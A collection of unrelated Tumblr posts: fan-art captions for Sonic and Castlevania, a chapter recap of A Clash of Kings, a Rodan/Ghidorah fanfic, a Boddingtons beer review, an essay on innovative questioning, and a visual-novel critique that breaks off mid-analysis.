#might revisit this. i like the idea of the (generally) same pose seen at different angles

[futuristichedge]

Time shenanigans

#was gonna clean this up but ive grown to find the messiness a bit charming #silver #my art #doodles #silver the hedgehog #sth #sth fanart #sonic fanart #might revisit this. i like the idea of the (generally) same pose seen at different angles #maybe why i like doing rotations whenever I animate.... #ANYWAYS rambling. more of this silly thing

[chibishortdeath]

General Simon brainrot sketch page :3, as per usual, explanations under a cut. Apologies if my posts tend to be kinda huge and difficult to scroll past, I try to do the cuts to make sure they do the least inconvenience to anyone! (>-< ;)

Just the whole page in full ft. My thumb lol

Expression practice! Simon is feeling the weight of his situation rn alas :(. I’ve always imagined him being panicked the whole game; the overarching entire game timer really gives a pretty good feeling of dread imo. The two doodles at the bottom were attempts at multiple ideas I’ve seen floating around about the curse, but they’re kinda bad in execution looking at them no tbh. But the first one is based on the idea that the curse gives some vampire traits like sharp teeth and would probably lead to proper vampirism if he were to die from it. The second was general attempt at like skull practice and comparing facial features to skull structure, but oh my god the page kept smudging and I tried making it look ok with some random blood on there but it just made it look even sillier 💀.

These next two are based on two random like liminal space images I ran into on Pinterest and I drew them mostly because I suck at backgrounds and idk Simon’s Quest itself is like Castlevania: Liminal Space Edition a lot of the time, so it fits X,,,,D. The first one I really liked the composition of the path on the far side contrasted to the trees. Imagine the water is the purple cursed swamp :3. Hopefully Simon has laurels just standin around in there.

This second liminal space for Simon to be in was this neat nighttime photo of a graveyard! Trees are HARD TO DRAW, especially just in pencil and a solid black background. There’s blood on the ground and stuff cause he was just fighting some monsters, probably those two headed lizard guys. It’s the awkward stillness after clearing out an area of enemies.

The pose for this one is based on the LOL~lots of laugh Miku figure lmao 💀💀💀

Simon is very fun to put in exaggerated poses! Especially cause you have to exaggerate them more to get the same ratio of pose to negative space because muscles and armor. I had no idea how to make metal belt armor thingies sit in a like legs up floating sort of pose like this so they kinda bend a little weird but eh he looks cute otherwise. The other doodles present are one that says “brainrot” which is kinda making fun of my own dedication to an NES character 💀 and also cause haha rot like the curse. Also, teeny tiny Simon with a heart!!! :3

Yippie! Simon posing again! I think the first pose was inspired by this like random old anime style angel figure??? Idk I think she was just an original character figure and the pose was pretty different, I just used the reference mostly for the arm position. Anyway, he’s vibin, just sitting curled up and momentarily comfy. Alas, the horrors persist in the second doodle that was an attempt at showing how the curse kinda deteriorates him but he just kinda ended up having a scarily snatched waist and it looks more stylized than like sick. Also the armor kinda bends around him in a way that makes it look like it shrunk with him which is so dumb lmaooooo (XwX). I’ll have to revisit the concept eventually idk, just look at his face for this one XD. Hahaha tiny doodle based on Larval Rin on the left there, nothing to see here—

The main doodle is just Simon looking into the distance bewildered and holding the whip, standard stuff. There’s also a side profile doodle and an attempt at drawing crying again cause I was getting kinda rusty at both of those things.

Simon Belmont but if he was 2000s anime lol. A fun little style experiment, I might keep this as like another secondary art style. There’s also some doodles of a hanged man skeleton, the eyes of Vlad, a skeleton hand, and a couple little chibi Simon’s of various expressions.

More 2000s anime Simon, but in a more silly way like the art style change for joke sections. One is him just goofily holding up Dracula’s head, but it’s contrasted immediately with a more gritty usual art style doodle of him with harsh shading lol. Get you a man who can do both I guess 💀

I gotta practice more on backgrounds and composition and stuff, probably also get some curse effects consistent augh. Lately I’ve been on and off working on random things or just staring into space tired, getting back to using social media is hard and an exhausting uphill battle unfortunately (_ _ ;). Sometimes I feel like I should probably split these up into multiple posts to make things more visible and to put more focus on specific drawings, but idk I don’t really want to, it just feels weird to me breaking up a doodle page like that, if that makes sense??? Eh idk.

#castlevania #castlevania games #akumajou dracula #castlevania ii: simon's quest #castlevania simon’s quest #simon’s quest #simon belmont #art post #my art #fanart #sometimes I forget that the turtleneck addition to his undershirt was like something I added somewhere along the line 💀 #seeing the actual box art and staring at his visible neck like where your clothes at and then I remember oh wait #I did that ​I was the one that who made him cover up 😔 #ok also the hair lmaoooooooo hahahashshs prince of eternia lookin ass #Simon really out here with that fuckass bob Konami what barber did you send him to #I forget that like there’s not the sections and piecing I usually draw and that he really just has his bangs straight cut in that #I guess the way I draw his hair is like a middle ground between his manual doodles and the cover art? #yeah that makes sense I’m using that explanation of it now XD #anyway love him I’ve got another page of him I’ll try to post soon hopefully #past that is some really quick OC concept sketches and like idk dissociating #aaa I gotta talk to people but I keep losing all track of time and then can’t because of guilt augh it’s a miracle I’m posting this rn tbh #daydreaming is a horrible coping mechanism don’t do it guys I’ve been stuck with it since fourth grade 💀💀💀💀💀💀 #it’s addictive it starts out like ‘time to imagine a character to this song :3’ then it’s been two months #vent in the tags #but mannnnnnn 😔😔😔 #anyway here’s a whole sketchbook page of my comfort character who hasn’t seen a day of comfort in his life uh— #idk if posting at like 10 PM at night is a good idea but eh whatever

[turtle-paced]

Revisiting Chapters: Jon VII, ACoK

Short ACoK chapters, short ACoK recaps.

The story so far…

After splitting up from the main body of the Night’s Watch on their recon mission, Jon has climbed a bunch of rocks and spared a prisoner. He hasn’t found the information they’re looking for.

Knowing People

After the scene is set with the squad camping before the descent to the Milkwater, Jon approaches Qhorin to have a chat about that last encounter with Ygritte. By chat he means unburden himself. He tells Qhorin pretty much everything, starting with the offer to defect.

What he gets, though, is information in return. Qhorin here helps us get an idea of who Mance Rayder is. A music-lover, to start with, which is already a good indication that Mance is a fan of stories and self-expression. Plus he liked women, and didn’t like taking orders. Qhorin thinks this was in his blood.

He’s got more general comments, too, applied:

“Only fools like Thoren Smallwood despise the wildlings. They are as brave as we are, Jon. As strong, as quick, as clever. But they have no discipline. They name themselves the free folk, and each one thinks himself as good as a king and wiser than a maester. Mance was the same.”

This does tell us a bit about the biases of the characters south of the Wall. After all, isn’t every person as good as a king? Or rather, isn’t the king no better than any other person? They’re all people. Order and obedience to social so-called superiors are framed as inherently good, rather a context-dependent virtue.

That said, it’s an idea Jon needs to be exposed to, as part of his arc. This will be built on throughout ASoS and ADWD.

Jon admits to sparing Ygritte, something which does not shock Qhorin. Qhorin prompts him to give his reasoning. It’s simple enough - Jon did not think that Ygritte needed to die. She was not evil, he was not acting in self-defence, and without her horn and her weapons, she didn’t pose a threat to their mission.

This part of the interaction confuses Jon.

“Then why did you command [Ygritte’s death] of me?”

“I did not command it. I told you to do what needed to be done, and left you to decide what that would be.”

Qhorin explains that too. “To lead men, you must know them,” he tells Jon. Ygritte’s death didn’t matter to him, for the reasons that Jon spared her. This was a test for Jon, to see what he would judge necessary and how he would react to the independence.

Third Eye

Jon settles down for a nap after talking with Qhorin. He watches Ghost leave before he does, and then once he falls asleep, he’s right into a dream sequence. Initially, it’s from Ghost’s PoV.

There were five of them when there should have been six, and they were scattered, each apart from the others. He felt a deep ache of emptiness, a sense of incompleteness. The forest was vast and cold, and they were so small, so lost. His brothers were out there, and his sister, but he had lost their scent.

Ghost’s PoV? Or Jon’s? What’s the difference, in this dream? Jon doesn’t feel anything particularly unnatural or wrong about sharing Ghost’s body in this state. While alien to the reader, Jon’s own subconscious does not seem to register this as anything out of the ordinary.

Jon then hears a voice addressing him. By name. Clearly recognising him within his wolf. Jon describes the power in the call and recognises his brother. But when he turns, he sees not a wolf, but a tree.

It seemed to sprout from solid rock, its pale roots twisting up from a myriad of fissures and cracks. The tree was slender compared to other weirwoods he had seen, no more than a sapling, yet it was growing as he watched, its limbs thickening as they reached for the sky. Wary, he circled the trunk until he came to the face. Red eyes looked at him. Fierce eyes they were, yet glad to see him. The weirwood had his brother’s face. Had his brother always had three eyes?

Not always, came the silent shout. Not before the crow.

This is enough context to tell us that the brother referred to is Bran. Bran depicted as a young weirwood, growing rapidly. Not only does this indicate that there might be some difference in the nature of Bran’s powers as compared to Jon’s - Bran being in the tree as well as having the connection to his wolf - it’s also clearly a representation of a young magic-user gaining a lot of power very quickly.

There’s something a bit more concerning going on in the fact that Bran’s tree smells of death and darkness as well as wolf, boy, and earth. What exactly this is and means is unclear. Bran himself doesn’t seem to think it’s an issue, though, as he says.

Don’t be afraid, I like it in the dark. No one can see you, but you can see them. But first you have to open your eye. See? Like this. And the tree reached down and touched him.

Without further ado, this launches Jon not just into a wolf dream, but into a wolf. His wolf, awake and hunting in the moutains. Jon recognises the Skirling Pass immediately. When he looks into the valley below, however, he gets a bit of a shock. Below are thousands on thousands of people.

Their encampment had no plan to it; he saw no ditches, no sharpened stakes, no neat rows of horse lines. Everywhere crude earthen shelters and hide tents sprouted haphazardly, like a pox on the face of the earth. He spied untidy mounds of hay, smelled goats and sheep, horses and pigs, dogs in great profusion. Tendrils of dark smoke rose from a thousand cookfires.

This is no army, no more than it is a town. This is a whole people come together.

Before Jon can do anything else, he hears wings, and gets swooped by an eagle.

The Chase Begins

This understandably disturbs Jon’s sleep. His fellow watchmen also want an explanation for why, on this serious sneaking mission, Jon’s randomly started yelling for his wolf. Jon manages a barely-coherent explanation about his dream that includes the detail of a glacier he saw. Stonesnake, however, recognises that detail.

With that, things get a bit more serious. Qhorin gets Jon to recap the dream for him.

“Skinchanger?” said Ebben grimly, looking at the Halfhand. Does he mean the eagle? Jon wondered. Or me?

[…]

“The cold winds are rising. Mormont feared as much. Benjen Stark felt it as well. Dead men walk and the trees have eyes again. Why should we balk at wargs and giants?”

There is a quick, practical acceptance of the use of Jon’s talents. If there’s any freaking out (including from Jon), it’s kept internal. It’s just something that has to be dealt with. The group presses on, with no sign of Ghost. There is an eagle, though, staying out of bowshot.

And then they find Ghost, who’s been attacked by a large bird. Nobody comments on it explicitly, but given the end of Jon’s dream and the wounds they’ve now found on Ghost, this verifies what Jon dreamed. 

This would also indicate to the Watchmen that the eagle still hanging around just out of bowshot is the eagle that attacked Ghost, and therefore probably a skinchanger. They’ve been spotted. So they decide to run. It’s a creepy sort of pursuit, given that their only known pursuer is an eagle.

All night they rode, feeling their way up the twisting pass and through the stretches of broken ground. The wind grew stronger. Sometimes it was so dark that they dismounted and went ahead on foot, each man leading his garron. Once, Ebben suggested that some torches might serve them well, but Qhorin said, “No fire,” and that was the end of that. They reached the bridge at the summit and began to descend again. Off in the darkness a shadowcat screamed in fury, its voice bouncing off the rocks so it seemed as though a dozen other ‘cats were giving answer. Once Jon thought he saw a pair of glowing eyes on a ledge overhead, as big as harvest moons.

In the dark and the cold, with unsteady footing, where the natural world may be as hostile as their pursuers, who are an unknown distance behind and who are tracking them from the air. Before dawn, Qhorin tells Squire Dalbridge (established earlier as an excellent archer) to hold off pursuit. The eagle is a priority target, should Dalbridge see him.

He’s staying to die, Jon realised.

But for all that, it’s only just after dawn when the remaining Watchmen hear the sound of hunting horns. They’ve got all the head start they’re going to get. The chase is now on in earnest.

Chapter Function

This chapter leads into and justifies Qhorin’s decision to ask Jon to go undercover with the Free Folk. Jon’s telling Qhorin that he was made an offer to swap sides lets Qhorin know that Jon’s got integrity and commitment to the Watch; Jon’s refusal to kill Ygritte and to admit this fact shows moral independence. When given an important decision, Jon was willing to make his own call, and questioning shows his reasoning. Jon also listens to what Qhorin has to say about Mance and about the Free Folk more generally. The combination is what allows Qhorin to make that request.

Politically, this chapter also reveals what the deal with the Free Folk is, and that deal is mass migration. Jon was expecting an army. There’s definitely military force there, but the substance to this reveal is that all the villages were empty because the Free Folk, as a whole, are doing something they’ve never truly done before - uniting. The why of that is left unclear, but ‘in the face of a greater threat’ seems reasonable in light of the spooky stuff the reader has also seen going on.

This chapter also advances the magical plot, waking Jon up to his powers as a warg, and showing Bran’s magical advancement. Instead of staying mysterious, though, the impacts of the magical on the mundane are immediately apparent and require immediate mundane response. The rules of magic may be mysterious, but magic can also have some very practical applications. Jon’s dream provides the military intelligence that the scouting mission were after in the first place.

Miscellany

“Shadows are friends to men in black,” Qhorin says, but it seems for all his experience Qhorin’s not an arctic camo expert.

Clothing Porn

As usual for a Watch chapter, everyone’s wearing black. Stonesnake has a ragged fur cloak.

Food Porn

Also as usual for a Watch chapter, food porn is limited. Salt beef, yum yum.

Next Three Chapters

Jon IX, ADWD - The Princess in the Tower, AFFC - Dany X, AGoT

#ASoIaF #valyrianscrolls #revisiting chapters #jon snow #a clash of kings

[ckret2]

The weight of the world on your shoulders

One of them was infatuated with Rodan; one of them was neutral; and one was enraged at the very thought. That had been enough for Ghidorah to decide to stay on Earth on a trial basis—but more than a month had passed and the trial was over. It was time for them to make a final decision. Were they staying, or not?

This is part of an ongoing series of Rodorah one-shots. If you don’t wanna read the others, all you need to know is Rodan recently made a globe out of lava and gave it to Ghidorah (sorta), and Ghidorah’s having some feelings over it. Links to the other fics are in the source at the bottom of this post.

I wasn’t planning on writing this but the idea came to me while I was proofing Now What? and I went, hm. I should revisit that, huh. Also I wanted to post something while I’m working on that five parter.

###

They curled on the ground around the red sprite's gift to them—a painstakingly accurate globe of this world, made out of volcanic stone and silica glass that he'd made himself—and looked up at it in the dark. They were supposed to be asleep.

They weren't.

The very structure of their life did not allow for a single possession. They carried nothing that wasn't contained within their own body, hidden beneath their electrical scales. They arrived alone and naked, they destroyed everything, they departed alone and naked.

They had known that choosing to keep the red sprite would change that. That they would now have one possession. That they would have to learn how to live differently in order to accommodate the fact that there was something that they meant to keep.

They hadn't expected to receive a second possession. Especially not so fast.

A globe.

It felt heavy.

It felt burdensome. It felt like something pressing down on their back just below where their necks joined, in the narrow channel between Third and Second's spines, right between their shoulders. It felt like it would weigh them down so heavily they wouldn't be able to fly.

It felt like it could crush them to death.

They draped a wing over the globe, rolled it closer, and wrapped around it tighter.

So: now what? They had asked themselves that when they'd made the choice to keep him, and on some level had never stopped asking it. Now what? Were they going to just start accumulating possessions? Things and stuff and people they had to think about, worry about, protect, maintain? Things and stuff and people they had to let weigh on their mind the way a black hole settled heavily on the fabric of the universe, stretching it threadbare with its mass? Settle down, claim territory, have borders, learn how to keep breathing through the claustrophobia as the sky closed in on them?

Had they made their decision?

Because there was a decision pending, wasn't there?

When they'd chosen to stay, it had been a temporary measure: we'll see. We'll decide later. Because they'd been torn on the subject, two voting one way and one the other, and a 2/3rds majority was unacceptable to them. They all shared a body and all shared their minds; they couldn't tolerate doing something that was one-third intolerable to themselves. All decisions had to be unanimous. Even if that meant haranguing the one in the minority into changing his mind. Even if that meant that the two in the majority had to change their position because the one would not budge.

They'd been here well over a month. They had to come to an agreement. Was this going to be their life now?

As much as First hated being in love—it was like having a crossbow strapped to their chest with an arrow pointed at their heart, ready to go off at any moment—he was in love. And every time he'd thought they were on the verge of losing the red sprite—because they'd touched his mind and found no love for them inside it, because they'd seen him plummeting from the sky with cracked armor and frozen wings—he'd felt that arrow threatening to pierce their chest. Actually losing him, he was sure, would be more painful than anything he'd felt since they'd escaped their masters. He knew that made him stupid. He knew that made him weak. He knew that made him vulnerable. He knew that made him hypocritical. But knowing that the crossbow shouldn't be there didn't remove it. Perhaps it was selfish for him to ask them all to stay to avoid his pain; but when he had no power to prevent that pain from spilling over to the other two, he couldn't separate his self-interest from their collective interest. And so, embarrassed and ashamed, he voted for them all to stay. First said yes.

Third didn't love the red sprite, although he thought he would come to, in the same way that they all came to adopt each other's most passionate opinions and emotions. He did like the red sprite. Most importantly, though, he liked being with the red sprite. He liked being grounded. He liked being grounded, dammit! He liked having a world with colors and gravity and weather and skies! So did the others, even if they didn't want to admit it. When they were in space they ached to reach the next world. No one was pushing them off the planets they landed on. No one made them spend ninety nine percent of their lives in space but themselves. So why did they always leave worlds as fast as they could? Staying with the red sprite was an excuse to live the alternative, and they could all see they were better off this way. Being on this world was a mercy, deliverance from the cycle of voids and nights and asteroids and hibernation and cold that made up nearly all of their life. Being on this world felt like a chance to finally go sane. Third said yes.

Second heard Third's perspective. While he thought they should be cautious to not get attached to this particular world—crummy little world covered in machine makers and patrolled by the little king—in deference to Third's experiment, he was willing to consider the merits of allowing themselves to become attached to worlds, in general. They could stay on this world for a while to see what it was like. After all, individual planets might come and go; but planets in and of themselves were never going to vanish, were they? Besides—hadn't they always refused to have possessions because losing a possession would lead to suffering, and they in their immortality couldn't afford the compounded suffering of loss after loss after loss? If First was already so attached to the red sprite, then leaving now would simply cause the very suffering they would otherwise have left to avoid. It was too late. The attachment was made. They would be harming themselves if they left. Therefore, they had to stay—for now. If their feelings for the red sprite cooled, they could leave while it wouldn't hurt. And so his vote was conditional: for now, he thought they should stay. As long as leaving would do more harm than staying. But he wanted them to occasionally reconsider the decision and debate it over again to see if anything had changed. If they were trapped on this world by a weight on their shoulders too heavy to shake off, so be it; but he refused to be trapped by mere inertia. Second said yes—conditionally.

So they would stay. They'd keep doing what they'd been doing: exploring this world an inch at a time. They'd learn the red sprite's language, fight him when the mood struck, and edge ever close to winning his affections. They'd avoid conflict with the little king when they could and try to kill him when they couldn't. They'd toe the line with the local species of machine makers so long as they posed a potential threat to the red sprite, and eliminate them if an opportunity arose. They'd learn new songs from the creatures around them—emotions they rarely had a chance to sing when they were focused only on extermination—and they'd write their own songs.

It didn't sound so bad.

They'd get bored eventually; but they were always bored, anyway. It wouldn’t be so bad.

At the conclusion of the discussion, relief washed through two thirds of them: Third, because he had been terrified that Second would fight to rip them off this planet; First, because he had been terrified that in voting to stay, he would be dooming them to languish on this rock for the rest of their life. If Second was relieved, he wasn't showing it; as usual his emotions were closed up.

A weight lifted off their shoulders.

They shifted their position, in the process accidentally turning the globe; glass instead of rock now pressed to their abdomen. However, they refused to get attached to this thing. It wasn't even alive. Its worth came from its connection to the red sprite, nothing else. For now they could keep it as a trinket that reminded them favorably of him; and if they ever got so attached to it they felt like they couldn't part with it, they could eat it.

They shut their eyes and tried to sleep.

###

(Replies/reblogs are welcome! Check the “source” link below for my masterlist of KOTM and Rodorah fics, as well as my AO3 and Ko-fi links.)

#rodorah #kotm #godzilla #rodan #king ghidorah #ghidorah #fanfic #my writing

[beerandpresentdanger]

Well-known Pleasures

I used to drink a lot of Boddingtons at university, and I have no idea why.

I drank a lot at university generally. It was where I went to my first ale festival and fell in love with beer, but it went beyond that. I drank a lot of red wine at the formal dinners that made up a regular part of Cambridge social life (typically everyone would have got through a bottle each by the time starters were finished, thanks to the stupid habit of throwing pennies in each other’s glasses - a challenge to down it that couldn’t be refused - forcing a run to the bar as soon as dessert was done). I drank a lot of white wine at smart events like poetry readings and debate nights (societies were only allowed to supply white - red posed too much of a risk to carpets). I drank port for the first time, an acquaintance I was happy to make and have remained familiar with. I drank a curious concoction called Trinity Blue at all the terrible termly “bops” - vodka, Archers, blue curacao and lemonade is my dim memory of the ingredients, though you would typically remember very little the morning after. In short, I drank everything that came my way, and for reasons unknown, that included Boddingtons.

It may have been that it was on sale in college. As well as the bar, there was the buttery, a kind of booze-led tuck shop that mainly supplied reasonably priced wine for formals (it is said Trinity has some of the finest wine cellars in the country, though I’ve since seen most of the selections in Waitrose), but also did beer - Budvar, for sure, and Boddingtons, possibly. The main appeal of this was that you could charge it to your college card and deal with the actual bill at the end of term, which of course meant I used it most days. Free beer! Who could resist?

It’s not even like Boddingtons was a popular beer back then. It was many years removed from the popular Melanie Sykes adverts that branded it the “cream of Manchester”, and some time after the famous adverts featuring the cartoon cow - a male cow, somehow - udders swinging free, hanging out in nightclubs and supping pints. It was even years after it was namechecked, bizarrely, in an episode of Friends, as a highlight of Joey and Chandler’s trip to the UK. Boddingtons is even less popular now - no cows, no Mancunian models, no national ad campaign at all, and on sale in my local Co-op for £3 for a four-pack. So I had to revisit it.

I wondered once why the UK didn’t seem to have an equivalent of National Bohemian, or Narragansett, or Genesee, or Hamm’s - regional lager brands that are local, cheap, and deeply held in people’s affections. Britain has never been a lager nation in the same way, so if we did have our own version, it would have to be an ale, and I wonder if something like Boddingtons might come closest. It’s demonstrably cheap, has a deep sense of place, and the kind of memorable, if vintage branding that gives drinkers a nostalgic fondness for it.

The other thing those American beers have in common is their flavour, or lack of it - they’re straightforward, crisp, satisfying lagers - unchallenging, indistinct, but enough. Boddingtons is different though. I always used to think there was a slight honey sweetness to it, though now I wonder if that was just a weird sense association thanks to the bees on the can. Now I find more of an earthy dryness that I would associate with a Manchester bitter, but also flavours that seem out of place if not flat out wrong - a tinge of banana, a metallic edge - signs of a product that seems somewhat tired and unloved. The whole thing is served with that mini miracle of modern engineering, a widget, flooding the beer with nitrogen and giving it the milky softness that earned it the cream of Manchester tag in the first place, and giving it that tight cuff of off-white head that is undeniably inviting. It’s old school. It’s unfashionable. It’s not great. But it’s also somehow slightly comforting and not entirely unpleasant. The four cans are a fine nostalgia trip, and all for cheaper than most bus tickets.

I learned a lot at university - literary theory, reams of Shakespeare, basic Italian - all things I’ve mostly forgotten. But when facts go, tastes remain. And nostalgia is the sweetest of flavour of all.  

#beer #craft beer #writing #review #beer writing #beer review #ale #hops #Friends #Cambridge #university #student #Boddingtons #National Bohemian #Manchester #Hamms #Genesee #Narragensett

[tomasorban]

To Find a Better Solution, Ask a Better Question: Questions are the answer.

Trace the origin story of any creative breakthrough and it is possible to find the point where someone changed the question. I have seen this as a longtime student of innovation; the stories in that realm abound.

For example, consider the origins of the snapshot. Photography had been invented well before 1854, when Kodak founder George Eastman was born, and he took an interest in it as a young man. But as he prepared to take an international trip at age 24, Eastman found it was too much of an undertaking to pack along the elaborate and expensive equipment. The technology for capturing photographic images had steadily improved over the years in terms of speed and quality, but the assumption remained that this was a process for professionals, or at least for serious and well-heeled enthusiasts. Eastman wondered: Could photography be made less cumbersome and easier for the average person to enjoy?

It was a promising enough question to motivate Eastman to dive into research mode, and exciting enough that he could recruit others to help. By age 26, he had launched a company, and eight years later, in 1888, the first Kodak camera came to market. Not only did it replace wet emulsion plates with new dry film technology, but it also featured what managers today call a “business model innovation.” There was no longer an expectation that customers would acquire the skills and the setup for developing the film. Instead, after shooting a whole roll of 100 pictures, they would send the compact camera back to the company for developing.

The Kodak was a smash hit, but Eastman’s question lived on. By 1900, he and his colleagues launched the Brownie, a $1 camera simple enough for a child to operate and durable enough for soldiers to take into the field.

Today, as I sit in the midst of MIT’s buzzing hive of innovators, I see plenty of people arriving at and articulating questions with the same power to excite the imagination and engage other clever people’s efforts. For the moment, I’ll name one: Jeff Karp. He’s a bioengineer in charge of a lab devoted to biomimicry. If that term is unfamiliar to you, let me suggest that the best way to understand it is with a question: How does nature solve this problem? Say the problem in question is the need for a bandage that will stay stuck to a wet spot, such as a heart, bladder, or lung that has just been operated on. In that case, what could be learned from slugs, snails, and sandcastle worms?

Sometimes the outcome of asking a different question is an immediate insight — a novel solution that has people slapping their foreheads at how obvious it should have been.

Perhaps it is not surprising that this particular question had never been posed — but once it was, scientists in Karp’s lab made rapid progress toward a product used widely today. As Karp puts it, nature offers an “encyclopedia of solutions” for those who think to consult it. “By exploring nature for new ideas,” he explains, “you uncover insights you would have otherwise missed by simply staying in the lab.”

Sometimes the outcome of asking a different question is an immediate insight — a novel solution that has people slapping their foreheads at how obvious it should have been. (I can imagine someone in the early days of magazines asking, “Why don’t we charge the subscribers next to nothing and take on advertising?” Or someone in a more recent decade asking, “Would we accomplish more if we stopped condemning alcoholism as a moral failing and instead treated it like a disease?”) It’s as though the new answer is so embedded in a question that you effectively unlock the answer as soon as you ask the question.

More often, discovering an answer takes time, but framing the question makes the pursuit possible. As with Eastman’s or Karp’s question, catalytic inquiry—a line of questioning that challenges past assumptions—opens up space for new lines of thinking; it recruits help, often from people trained in other disciplines; and it generates new appetite for the work.

It’s also important to note that while I tend to accentuate the positive as I talk about the power of questions — their ability to reveal opportunities and yield breakthrough ideas — they are just as powerful in helping people tackle negative threats.

One way to think about what a great question can do is to acknowledge the inherent danger in what “you don’t know you don’t know.” Imagine a simple diagram: a two-by-two matrix describing the state of your knowledge of a situation. One axis presents two possibilities: There are things that are important to your success that you know all about, and there are other things unknown to you. The other axis reflects how cognizant you are of those knowledge assets and gaps; that is, you may or may not be aware that there is a piece of information somewhere that you need to solve your problem. Thus, there are things you know you don’t know.

For example, if you are an army general, you might know that the enemy has a weapons cache, but you’re unsure about where it is. You know that you don’t know that. Far more troubling, though, are the things you don’t know you don’t know. These are things that have not even crossed your mind to ask. Donald Rumsfeld invoked this framework in a famous discussion of the Bush administration’s suspicion of weapons development in Iraq when he pointed out that the “unknown unknowns” often turn out to be one’s downfall.

Business strategists also recognize this as the realm from which business-destroying disruptions usually emerge. We can return to Kodak for a classic example. After a century of success, the company was decimated by something it didn’t know it didn’t know: how fast it would need to retool and reorganize in response to a sudden, large-scale consumer shift to digital photography.

Or, more recently, think of the taxicab industry, whose “unknown unknown” was the impact of thousands of ordinary car owners turning into ride providers through services like Uber and Lyft. Was this question even raised in a Yellow Cab management meeting as recently as five years ago? If so, it was not taken to heart. (The company, San Francisco’s largest traditional taxi firm, filed for bankruptcy protection in January 2016.)

You might say that such developments should have been foreseeable — and who could argue with that? After all, they were foreseen by the disruptive innovators who triggered the radical change. But for the people who were busy going about their business in the old mode, gaining the same insights would have required venturing into uncomfortable territory — beyond the usual realms of work where they knew they didn’t have all the answers to realms where they weren’t even asking the right questions.

In the face of positive opportunities, then, and also negative threats, my claim is that by revisiting the questions they are asking, and asking better ones, people arrive at dramatically better answers. In fact, I would push this to a bolder declaration that no dramatically better solution is possible without a better question. Without changing your questions, you cannot get beyond incremental progress along the same path you’ve been pursuing.

#inspiration #consciousness

[sally-mun]

As someone who hasn't, wouldn't, and won't be experiencing Major/Minor (or whatever it was called) could you perhaps analyze more specifically some of the things you felt were missteps more in depth, so others who decide they might want to make a visual novel or even just a story, might be able to avoid the same issues? I realize this might not be your area of interest, but I'm always interested in these kinds of analyses.

Man, where do I even begin.

I suppose I should start by saying that this game could have been fine; I don’t necessarily hate this game for the story, even if I think it’s uninspired. I play lots of point-and-click games and usually enjoy them (even the stupid ones) so long as they have merit in one area or another. But that’s the core of the problems with Major/Minor: It has NO merit to work with. Its construction shows absolutely no understanding of this genre of game design. Or of writing. Or of entertainment in general. Or of simply respecting one’s audience.

First and foremost, let’s discuss visual novels.

The critical difference between a novel and a visual novel is interactivity; a novel is a set and done deal that takes its readers along for the ride, whereas a visual novel invites the readers to be part of the ride itself. The direction of the story is influenced by the player, and this allows them to personally take ownership of later events. It’s the sort of game that tries to put you in the role of the protagonist in the most direct form possible. Like other first-person games your view as a player is exactly that of the character you’re playing, but in a VN’s case it’s like reading a comic book in a choose-your-own-adventure format.

Major/Minor not only fails on both the visual and novel elements, but it also fails when combined as a visual novel.

1) Visual

For the most part, visual novels don’t have a lot of action. They primarily consist of conversations with NPCs and usually take place in static locations. For this reason, both the characters and the environments need to have a lot of personality. Players need to feel like they’re actually having conversations with the characters and that they’ve entered a unique location that sees real use. This is the red, meaty center of how VNs engage and gratify their players.

Designing characters in a visual novel is about more than giving each one a different face; it’s about giving each character enough of a range of actions and emotions to sell the idea that the character is actually interacting with you, and in a way that’s truly unique from every other character. In real life, people do all sorts of crap when speaking: Our expressions change, we gesture with our hands, our posture varies, and sometimes we even have small ticks associated with certain topics or emotions. Between these visual cues and the actual discussions themselves, players ought to know the NPCs well enough to be able to describe them like real-life friends by the end of the game.

This brings us to Major/Minor’s first serious offense: Every character has one face. Typically in a VN, each character has a minimum of half a dozen expressions, poses, and gestures/ticks to match the different emotions they’ll need to exhibit over the course of their conversation topics. The characters in Major/Minor can only make a single expression and pose throughout the entire game, which immediately leads to some seriously disjointed discussions. It’s hard for me to take a character seriously when they say they’re angry with me when the art staring through the computer screen is bright, cheerful, and apparently mid-laugh. Sorry, NPC #672, I really don’t care that you’re allegedly on the brink of tears, because your singular piece of character art is so smarmy and mischievous that I forgot you were trying to tell me something tragic.

What makes this even more annoying is that most of the characters DO have a secondary piece of art, but it’s only ever used ONE time as an introduction to a new character before the game chucks it in the bin and we never see it again. Each character COULD have had at least two expressions if the dev had planned his commissions carefully enough, buuut instead he chose to get two shots that are barely distinguishable from one another so there could be a ~=*FLOURISH*=~ when we see someone for the first time. Granted, two per character still isn’t anywhere near enough, but it’s a hell of a lot better than just one! It makes me wonder why he bothered to spend the money on a second image for each character at all, since half of these commissions only get about 10 seconds of screen time. What a waste.

And hey, speaking of wasted opportunities, let’s talk more about the environments! Lots of visual novels don’t spend much energy on their backgrounds, and although that’s usually fine (albeit not my first preference), Major/Minor seriously needed to think more about its settings. For the moment I’ll ignore the laziness of the fact that the backgrounds are generic photos with a blur filter over them; what’s more important is that this game loves to tell us all kinds of random crap about the rooms we’re in, especially during the scenes that take place in Japan. This game would’ve benefited dearly from simply having more detailed backgrounds and just letting us observe the goings on of the room on our own. Y’know, because that makes it more... visual.

Honestly, if it were me, I would’ve taken it all a step further and gone full-blown Ace Attorney on the environments. In AA games, investigating the scene is very important because you have to look for clues. I’m not saying Major/Minor needed to let you hunt for items, but I do think that it could’ve cut a ton of random information from the text by simply letting us inspect the backgrounds. That way the players that want to know what a kotatsu is can find out on their own time and players that already know or don’t care can move on.

Something else that would’ve brought the game a much-needed boost of interest is cut scenes. As noted earlier, visual novels don’t tend to have a lot of action, so when something physical DOES happen, it makes an impact. One way to maximize that flash of excitement is with a cut scene – or at least, the visual novel equivalent of one. A “cut scene” in a VN isn’t typically a full motion video like most video games boast; it still makes use of a static image, but it’s an image whose quality far surpasses that of the rest of the art in the game. Maybe it’s abnormally large and the camera slowly pans across for dramatic effect, or maybe it’s a scene drawn from an interesting angle that isn’t the player’s POV. Some games take this even farther and really do animate their cut scenes a bit (usually on par with a nice animated gif). Lots of VN cut scenes make use of sound effects or action-specific music cues to keep the player emotionally involved with the scene, as it’s a moment that’s out of the player’s control.

Major/Minor, on the other hand, does none of this. Much like the drought of facial expressions, the game simply pelts you with paragraph after paragraph to tell you about the events taking place around you, rather than simply letting you see for yourself and be, y’know, involved. Even a handful of cut scenes that had some real effort put into them would’ve really given this game some pep. Not only would it have kept me engaged as a player, but it would’ve weeded out even more unnecessary narration.

Oh, and speaking of weeding shit out of the text…

2) Novel

